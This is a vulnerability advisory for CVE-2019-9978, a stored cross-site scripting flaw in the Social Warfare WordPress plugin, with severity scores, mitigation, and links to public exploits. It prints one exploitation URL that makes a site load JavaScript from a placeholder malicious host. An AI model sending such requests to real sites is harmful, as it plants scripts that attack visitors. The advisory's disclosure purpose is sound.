Cross-site scripting in WordPress Social Sharing Plugin - Social Warfare - CVE-2019-9978
Published: March 21, 2019 / Updated: August 21, 2023
Vulnerability identifier: #VU18052
CSH Severity: High
CVSS v4: 6.9 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N]
CVE-ID: CVE-2019-9978
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability:
The vulnerability is being exploited in the wild
Vulnerability details
The vulnerability allows a remote attacker to perform cross-site scripting attacks.
The vulnerability exists due to usage of the eval() JavaScript call on data passed via the "swp_url" HTTP GET parameter to "/wp-admin/admin-post.php" script, when "swp_debug" is set to "load_options", allowing to permanently inject and execute arbitrary JavaScript code on the website. A remote unauthenticated attacker can store a specially crafted JavaScript code into database and execute it in browser of every website visitor.
Note: this vulnerability is being actively exploited in the wild.
Exploitation example:
http://[host]/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://[malicious_js_script]/
Affected software
WordPress Social Sharing Plugin - Social Warfare
How to mitigate CVE-2019-9978
Update to version 3.5.3.
WordPress Social Sharing Plugin - Social Warfare - update to 3.5.3
Links to Public Exploits and PoC-codes
- Exploit #9253 - CVE-2019-9978-Python3 (python3 version of the CVE-2019-9978 exploit) (August 21, 2023)
- Exploit #8880 - CVE-2019-9978_Exploit (Social WarFare Plugin (<=3.5.2) Remote Code Execution) (March 2, 2023)
- Exploit #8609 - CVE-2019-9978_Exploit (Social WarFare Plugin (<=3.5.2) Remote Code Execution) (November 15, 2022)
- Exploit #5930 - Wordpress Plugin Social Warfare < 3.5.3 - Remote Code Execution (June 17, 2021)
External References
- https://wordpress.org/support/topic/malware-into-new-update/
- https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exp...
- https://twitter.com/warfareplugins/status/1108826025188909057
- https://blog.sucuri.net/2019/03/zero-day-stored-xss-in-social-warfare.html